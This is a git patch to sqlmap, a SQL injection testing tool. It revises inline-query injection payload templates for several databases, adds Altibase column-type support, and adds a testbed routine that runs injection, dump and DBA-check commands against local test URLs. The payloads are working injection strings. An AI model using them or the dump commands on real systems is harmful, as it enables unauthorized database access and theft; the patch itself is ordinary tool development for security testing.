From 6467c63c243d108502a775c273708ba494328bdb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 14:02:45 +0100 Subject: [PATCH] Patch for couple of bugs found during bed-testing --- data/xml/payloads/inline_query.xml | 34 ++++++++++++++-------- data/xml/queries.xml | 12 ++++---- lib/core/agent.py | 2 +- lib/core/dicts.py | 24 ++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 45 ++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +++- lib/request/inject.py | 6 ++++ plugins/generic/databases.py | 3 ++ sqlmap.py | 3 ++ 10 files changed, 116 insertions(+), 20 deletions(-) diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 4d09edb5d..b68cfdc3e 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -3,19 +3,31 @@ - MySQL inline queries + Generic inline queries 3 1 1 1,2,3,8 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -28,7 +40,7 @@ PostgreSQL inline queries 3 - 1 + 2 1 1,2,3,8 3 @@ -47,13 +59,13 @@ Microsoft SQL Server/Sybase inline queries 3 - 1 + 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -75,7 +87,7 @@ (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -94,7 +106,7 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 6939666a7..f5e28b537 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -106,7 +106,7 @@ - + @@ -123,23 +123,23 @@ - + - + - + - - + + diff --git a/lib/core/agent.py b/lib/core/agent.py index c4b3cd842..65ff4a421 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -450,7 +450,7 @@ class Agent(object): nulledCastedField = field - if field: + if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 875698d2d..57c6b9bca 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -117,6 +117,30 @@ SYBASE_TYPES = { 20: "image", } +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 2: "DECIMAL", + 6: "FLOAT", + 6: "NUMBER", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} + MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", diff --git a/lib/core/settings.py b/lib/core/settings.py index 0aecc472c..01a51bcee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.23" +VERSION = "1.4.2.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d703d0f59..54903ae16 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -137,6 +137,51 @@ def vulnTest(): return retVal +def bedTest(): + """ + Runs the testing against 'testbed' + """ + + TESTS = ( + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Vector: AND [INFERENCE]", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + ) + + retVal = True + count = 0 + + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + + cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + output = shellExec(cmd) + + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): + for check in checks: + if check not in output: + print(cmd, check) + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % clearColors(output)) + retVal = False + + count += 1 + + clearConsoleLine() + if retVal: + logger.info("bed test final result: PASSED") + else: + logger.error("best test final result: FAILED") + + return retVal + def fuzzTest(): count = 0 address, port = "127.0.0.10", random.randint(1025, 65535) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index befb885b6..0c41c14d8 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,6 +794,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--bed-test", dest="bedTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true", help=SUPPRESS) @@ -1005,7 +1008,7 @@ def cmdLineParser(argv=None): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/request/inject.py b/lib/request/inject.py index 90c7c0f8e..a47493eb2 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -412,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b8816b113..6eacd1a0c 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -37,6 +37,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE @@ -702,6 +703,8 @@ class Databases(object): key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: diff --git a/sqlmap.py b/sqlmap.py index b321129c0..118c51178 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -173,6 +173,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.bedTest: + from lib.core.testing import bedTest + os._exitcode = 1 - (bedTest() or 0) elif conf.fuzzTest: from lib.core.testing import fuzzTest fuzzTest()